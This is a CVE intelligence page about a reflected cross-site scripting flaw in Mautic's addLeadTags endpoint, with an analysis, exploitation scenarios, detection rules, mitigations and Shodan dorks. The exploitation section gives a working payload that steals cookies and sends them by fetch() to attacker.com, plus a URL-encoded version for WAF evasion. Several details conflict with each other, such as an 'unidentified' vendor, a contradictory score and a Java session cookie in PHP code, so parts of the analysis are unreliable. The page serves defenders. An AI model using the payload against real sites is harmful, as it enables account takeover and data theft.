☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.8 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9823

CVE-2025-9823 Cross-Site Scripting in Mautic
📅 PUBLISHED: 2025-09-03 00:00 UTC 🔄 UPDATED: 2026-08-16 23:04 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9823 is a reflected Cross-Site Scripting (XSS) vulnerability in an unidentified web application, specifically within the "Tags" input field of the /s/ajax?action=lead:addLeadTags endpoint. The vulnerability allows an unauthenticated or authenticated attacker to inject arbitrary JavaScript that executes immediately in a victim's browser without requiring data storage. The primary risk is session hijacking, credential theft, and unauthorized actions within the vulnerable application. Although the vendor is unknown and affected versions are not documented, the attack surface is limited to applications exposing this specific AJAX endpoint.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in the AJAX-driven lead management module, where the lead:addLeadTags action processes user-supplied tag names. The flaw arises because the server reflects the tag payload directly into the HTTP response before any sanitization or encoding is applied for persistent storage. While the application appears to sanitize input server-side before saving to the database, the reflected response—used to confirm tag addition—is rendered without escaping.

Mechanism:

  1. The client sends a POST/GET request to /s/ajax?action=lead:addLeadTags with a parameter (e.g., tag=<payload>).
  2. The server receives the input, and in the response body, it reflects the tag value verbatim (e.g., {"status":"success","tag":"<payload>"}).
  3. The victim's browser parses the response as HTML/JavaScript context (depending on how the AJAX handler consumes it), executing the injected code.
  4. Server-side storage sanitization (if any) does not mitigate the immediate reflection, making the flaw a classic Reflected XSS with no persistent component.

Attack surface: Any user with access to the lead-management interface—including low-privileged users—can craft a malicious URL or AJAX request. If the application lacks CSRF protection, an attacker can trick an admin into clicking a link that triggers the endpoint with the payload, hijacking the admin's session.

Code-level context (hypothetical):

// Vulnerable pattern
$tag = $_REQUEST['tag'];
echo json_encode(['status' => 'success', 'tag' => $tag]); // No escaping

The fix would apply htmlspecialchars() or contextual output encoding before echoing the value.


Exploitation Scenarios

Scenario: Session Hijacking via Admin Credential Theft

  1. Reconnaissance: An attacker identifies the target application (e.g., via Shodan using http.body:"/s/ajax?action=lead:addLeadTags") and locates the login page. They establish that the endpoint is accessible without authentication for tag submission, or with a standard user account.

  2. Weaponization: The attacker crafts a malicious URL:

    https://victim-app.com/s/ajax?action=lead:addLeadTags&tag="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
    

    To bypass encoding or WAF restrictions, they URL-encode the payload multiple times:

    https://victim-app.com/s/ajax?action=lead:addLeadTags&tag=%22%3E%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie)%3C%2Fscript%3E
    
  3. Delivery & Execution: The attacker social-engineers a CSRF-style attack: they email an Admin a link disguised as a "Lead Report" or embed it in a forum post. When the Admin clicks the link while authenticated, the browser sends the AJAX request. The server reflects the unescaped payload, and the script executes instantly, exfiltrating session cookies via fetch() to the attacker's logging server.

  4. Post-Exploitation: The attacker replays the stolen JSESSIONID cookie to impersonate the Admin. They gain full access to lead data, PII, and can disable security controls. If the app uses role-based access, they may escalate privileges by modifying accounts in the admin panel.

Additional Vector: If the application returns JSON with a text/html content-type discrepancy, the attacker may leverage Content-Type sniffing to force execution in IE/Edge legacy modes (mutation XSS).


Impact Assessment

CVSS: Not scored (N/A), but based on vulnerability class, this likely ranks High (7.0–8.9) if the app handles sensitive data and the endpoint is reachable by unauthenticated users.

  • Confidentiality: Attackers can steal session tokens, CSRF tokens, and any data visible in the DOM. In lead-management systems, this includes customer contact info, financial details, and internal notes.
  • Integrity: Session hijacking enables unauthorized modifications: deleting leads, altering statuses, injecting false records, or pivoting to stored XSS in other fields.
  • Availability: An attacker could redirect users to malicious pages or perform bulk deletions causing service disruption.
  • Blast Radius: Any user who clicks a crafted link is affected. Admin accounts face total compromise. The unidentified nature of the vendor increases risk—security teams cannot easily inventory affected assets without a clear CPE or version string.

Detection Guidance

Sigma Rule

title: Reflected XSS Attempt via lead:addLeadTags
id: 7c01f9a4-8e2a-4c5e-9b3d-2a1c6b8d4e2f
status: experimental
description: Detects malicious payloads in requests to the addLeadTags AJAX endpoint
logsource:
  category: webserver
  product: apache
  definition: 'Requires access logs with query strings'
detection:
  selection:
    cs-method: 'GET'
    cs-uri-query|contains:
      - 'action=lead:addLeadTags'
    cs-uri-query|re:
      - '(<script|%3Cscript|javascript:|onerror=|onload=)'
  condition: selection
fields:
  - clientip
  - cs-uri-query
  - user-agent
falsepositives:
  - Legitimate pentesting tools
level: high

YARA Rule

rule Detect_Reflected_XSS_AddLeadTags {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects XSS payloads targeting addLeadTags"
        cve = "CVE-2025-9823"
        date = "2025-07-03"
    strings:
        $endpoint = "/s/ajax?action=lead:addLeadTags"
        $script1 = "<script" ascii wide
        $script2 = "%3Cscript" ascii wide
        $event1 = "onerror=" ascii wide
        $event2 = "onload=" ascii wide
    condition:
        $endpoint and (#script1 > 0 or #script2 > 0 or #event1 > 0 or #event2 > 0)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-9823 Reflected XSS in addLeadTags";
    flow:to_server,established;
    http.uri;
    content:"action=lead:addLeadTags";
    content:"<script"; http.uri;
    content:"onerror"; http.uri; 
    side:server; 
    classtype:web-application-attack;
    reference:cve,2025-9823;
    sid:1009823; rev:1;
)

Elastic Detection

sequence by source.ip
  [ network where dns.question.name : "victim-app.com" ]
  [ http where http.request.method == "GET" and
    url.path == "/s/ajax" and
    url.query : "*action=lead:addLeadTags*" and
    (url.query : "*<script*" or url.query : "*onerror*" or url.query : "*javascript:*")
  ]

Splunk SPL Query

index=web sourcetype=access_combined
| where LIKE(uri_path, "%/s/ajax%") AND LIKE(uri_query, "%action=lead:addLeadTags%")
| regex _raw "(?i)(<script|%3Cscript|javascript:|onerror=|onload=)"
| stats count by clientip, uri, user_agent
| sort - count

Wazuh OSSEC Rule

<group name="web_application_xss,">
  <rule id="109823" level="10">
    <decoded>web</decoded>
    <field name="url">\.*action=lead:addLeadTags\|\.*</field>
    <regex>(\&lt;script|\%3Cscript|javascript:|onerror=|onload=)</regex>
    <description>CVE-2025-9823: Reflected XSS payload detected targeting addLeadTags endpoint</description>
    <group>attack,xss,cve_2025_9823,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

  1. Immediate Mitigations (if vendor patch unverified):

    • Deploy a WAF rule to block requests containing <script, onerror, javascript: in the tag parameter for /s/ajax?action=lead:addLeadTags.
    • Disable the endpoint if lead tagging is non-critical, or restrict access via IP allowlisting.
    • Apply X-XSS-Protection: 0 on legacy browsers while ensuring Content-Security-Policy headers are set to default-src 'self'; script-src 'self'.
  2. Patch/Upgrade Steps:

    • Locate the vendor application and upgrade to the version containing the fix—check vendor advisories for version numbers referencing addLeadTags sanitization.
    • If no patch exists, implement a reverse proxy filter that URL-decodes and rejects any request with suspicious XSS signatures before it hits the application.
    • Manually patch by overriding the response handler: wrap all reflected data with htmlspecialchars() if the codebase is accessible.
  3. Long-Term Hardening:

    • Adopt output encoding contexts (HTML, JS, URL, CSS) via security libraries like OWASP Java Encoder or ESAPI.
    • Implement a Content Security Policy (CSP) with nonce-based script loading to block inline execution even if reflection occurs.
    • Conduct regular DAST/SAST scans to catch similar reflection flaws.
    • Enforce SameSite=Lax cookies to mitigate session riding CSRF/XSS chains.

References

  1. NVD Entry for CVE-2025-9823: https://nvd.nist.gov/vuln/detail/CVE-2025-9823
  2. PortSwigger Web Security Academy — Reflected XSS: https://portswigger.net/web-security/cross-site-scripting/reflected
  3. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  4. CISA Known Exploited Vulnerabilities Catalog (CVE not listed as of this writing): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  5. Mitre ATT&CK T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/

Threat Intelligence Note: No active exploitation campaigns, exploit code, or in-the-wild evidence has been publicly documented for CVE-2025-9823 as of this report. The vulnerability's attribution remains unclear; security teams should inventory any internal applications referencing the addLeadTags endpoint and apply the above mitigations pending vendor clarification.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"lead:addLeadTags"
http.body:"/s/ajax?action=lead:addLeadTags"
http.html:"addLeadTags"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9823/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.